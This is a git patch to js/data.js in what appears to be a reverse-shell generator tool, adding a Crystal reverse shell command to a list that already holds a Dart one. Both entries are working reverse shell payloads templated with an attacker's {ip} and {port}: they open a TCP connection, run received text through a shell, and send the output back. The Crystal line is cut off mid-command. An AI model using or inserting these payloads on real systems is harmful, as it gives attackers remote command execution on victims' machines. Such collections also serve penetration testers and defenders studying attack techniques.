From be5226542619787e2c0e2268189bbb5dc7f2d634 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Sun, 19 Mar 2023 21:47:44 +0100 Subject: [PATCH 1/2] add crystall rev shell --- js/data.js | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 2236b91..37b6560 100644 --- a/js/data.js +++ b/js/data.js @@ -359,7 +359,12 @@ const reverseShellCommands = withCommandType( "name": "Dart", "command": "import 'dart:io';\nimport 'dart:convert';\n\nmain() {\n Socket.connect(\"{ip}\", {port}).then((socket) {\n socket.listen((data) {\n Process.start('{shell}', []).then((Process process) {\n process.stdin.writeln(new String.fromCharCodes(data).trim());\n process.stdout\n .transform(utf8.decoder)\n .listen((output) { socket.write(output); });\n });\n },\n onDone: () {\n socket.destroy();\n });\n });\n}", "meta": ["linux", "mac", "windows"] - } + }, + { + "name": "Crystal", + "command": "crystal eval 'require \"process\";require \"socket\";c=Socket.tcp(Socket::Family::INET);c.connect(\"{ip}\",{port});loop{m,l=c.receive;p=Process.new(m.rstrip(\"\\n\"),output:Process::Redirect::Pipe,shell:true);c<